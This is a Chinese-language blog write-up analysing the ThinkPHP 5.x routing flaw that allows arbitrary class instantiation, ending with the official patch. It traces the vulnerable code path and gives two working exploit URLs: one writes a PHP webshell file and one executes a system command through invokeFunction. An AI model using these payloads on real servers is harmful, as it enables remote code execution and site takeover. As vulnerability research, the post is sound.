Hu3sky's blog

Thinkphp5.* getshell 分析

Word count: 691 / Reading time: 3 min
2019/01/11 Share

Thinkphp5.x getshell分析

之前一直没时间看分析。。这下放假了有时间了。。倒过来看看tp5的分析

漏洞分析

1
2
3
4
5
6
7
8
9
10
访问
http://127.0.0.1:12345/thinkphp5/public/index.php/index/index/index
入口
index.php
模块
index
控制器
index
方法
index

直接看漏洞点

thinkphp/library/think/route/dispatch/Module.php:70
1

跟进$controller的走向
发现同文件下,92行,在exec方法,使用controller函数对控制器进行了实例化
1
跟进controller函数

1
2
文件:thinkphp/library/think/App.php
函数: controller

1
跟进parseModuleAndClass函数

1
2
文件:thinkphp/library/think/App.php
函数: parseModuleAndClass

这里如果控制器名存在反斜线\,将会将其直接设置为类名

1

继续跟进parseClass

1
2
文件:thinkphp/library/think/App.php
方法:parseClass

1

继续跟进parseName

1
2
文件:thinkphp/library/think/App.php
方法:parseName

1

这里会检测首字母是否大写,如果没有大写。就转为大写
接着讲class名进行命名空间完整返回
1

于是类变为app\index\controller\Index
接着回到parseModuleAndClass函数

1

return了$module$class

接着回到controller方法

1

class_exists函数进行判断,该类是否存在
此时,我们的类是 app\index\controller\Index
之后就会实例化类,再去调用类的方法

形如:http://127.0.0.1/index.php?s=/index/namespace\class/method

漏洞利用

\think\template\driver\File

也就是说,我们可以利用命名空间的\,去实例化一个任意的类
比如 我想要调用thinkphp\library\think\template\driver\File.php下的write方法

1

注意tp5的根命名空间

1
2
3
4
名称         描述                  类库目录
think 系统核心类库 thinkphp/library/think
traits 系统Trait类库 thinkphp/library/traits
app 应用类库 application

所以说我构造payload,注意,这里要用到兼容模式的url模式去访问
因为例如访问
127.0.0.1:12345/thinkphp5/public/index.php/index/\think\template\driver\file/write
浏览器会默认把 \ 变成 /, 就会报错

1

但是使用兼容模式就可以避免

http://127.0.0.1:12345/thinkphp5/public/index.php? s=index/\think\template\driver\file/write? cacheFile=shell.php &content=%3C?php%20phpinfo();?%3E

就会再根目录下生成shell.php

\think\Container

方法:invokeFunction
1
call_user_func_array():

1
2
3
4
说明 
call_user_func_array ( callable $callback , array $param_arr ) : mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

于是可以构造

1
2
3
4
5
127.0.0.1:12345/thinkphp5/public/index.php?
s=index/\think\container/invokeFunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=dir

分别对应

1
2
3
模块: index
控制器:\think\container
方法:invokeFunction

官方补丁

1
2
3
4
5
文件:

library/think/route/dispatch/Module.php
方法:
init

1

增加了对$controller的正则过滤,导致无法再传入
\think\app这种形式的控制器

CATALOG
  1. 1. Thinkphp5.x getshell分析
    1. 1.1. 漏洞分析
    2. 1.2. 漏洞利用
      1. 1.2.1. \think\template\driver\File
      2. 1.2.2. \think\Container
    3. 1.3. 官方补丁